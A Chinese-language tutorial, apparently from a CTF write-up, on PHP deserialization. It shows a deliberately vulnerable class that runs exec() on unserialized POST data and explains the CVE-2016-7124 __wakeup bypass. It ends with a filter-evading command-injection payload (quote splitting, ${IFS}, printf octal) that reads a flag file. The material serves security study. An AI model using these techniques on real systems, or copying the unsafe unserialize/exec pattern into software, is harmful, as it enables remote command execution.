简而言之,序列化和反序列化就是数据类型的转换,序列化是将对象,数组等转换为便于传输的形式,例如:JSON、XML等。而反序列化则是序列化逆向的过程。
一、序列化和反序列化
1.PHP序列化
例如:
<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);//var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$ctf=new ease("ping",array('1234','1111'));$s= @serialize($ctf);
echo $s;
?>
它会输出,这是序列化的结果:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:2:{i:0;s:4:"1234";i:1;s:4:"1111";}}
O:object代表对象,后面4代表类名,2说明有两个属性
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
@serialize(Object)是序列化函数,它可以将对象或数组序列化成如上的形式。
2.PHP反序列化
反序列化是将序列化转换后的形式,再重新转换成对象或数组。
例如:
<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
@unserialize(Object) 这是反序列化函数,将序列化字符串转换成原来的数组或对象。
调用该反序列化函数时,将其转换为相应的对象类或数组,然后调用__wakeup()函数,最后调用__destruct()函数。
3.常见反序列化和序列化魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
二、PHP绕过
绕过__wakeup(CVE-2016-7124)
针对版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
利用方式:
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
例如:
<?php
class test{public $a;public function __construct(){$this->a = 'abc';}public function __wakeup(){$this->a='666';}public function __destruct(){echo $this->a;}
}
如果执行
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为666
而把对象属性个数的值增大执行
unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
输出结果为abc。则实现绕过__wakeup()函数。
正则匹配绕过
function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}
对于以上正则匹配:/(\||&|;| |\/|cat|flag|tac|php|ls)/
分隔符
/
:这是正则表达式的开始和结束符。在 PHP 中,通常使用/
来包围正则表达式。括号
()
:这些括号用于创建一个捕获组,意味着匹配的内容将被捕获,可以在后续的处理(比如替换或提取)中使用。匹配的内容:
\|
:匹配竖线字符|
。因为|
是一个特殊字符,表示“或”(在正则中用作选择),所以使用\
来转义它。&
:匹配和字符&
,没有特殊含义,所以可以直接使用。;
:匹配分号;
,也没有特殊含义,直接使用。- (空格):匹配一个空格字符。
\/
:匹配斜杠字符/
。虽然在大多数情况下不需要转义,但为了保持一致性,这里采取了转义的方式。cat
:匹配字符串cat
,没有特殊含义。flag
:匹配字符串flag
,在安全上下文中常见,表示一个目标或标志。tac
:匹配字符串tac
,像cat
的反向显示。php
:匹配字符串php
,指代 PHP 编程语言。ls
:匹配字符串ls
,一个 Unix/Linux 命令,用于列出目录内容。
绕过原理:寻找能够实现同样效果的字符进行代替的操作。
对于字符串,可以使用中间加""代表空字符进行绕过。
对于空格,可以采用Shell内置变量${IFS}(它是在 Unix 和 Linux 中的一个特殊环境变量仅对使用Shell命令有效)。
对于斜杆,可以使用八进制编码的方式进行绕过。
案例:
对于上面的正则过滤代码,我们可以通过特定的方法绕过进行绕过。这里使用单引号的原因是因为在PHP中单引号会被直接认为成字符串,不会进行解析,如果使用双引号将造成${IFS}报错,因为PHP不存在该常量,即是无法解析。
$args='c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'
这对PHP来说不会进行任何处理,会被认为纯字符串。但因为这个字符串是会被送到后台执行系统命令,对于Linux系统来说,空字符会被忽略,${IFS}可以被解析成空格,通过printf在Shell输出的八进制字符会被自动转换成斜杠/。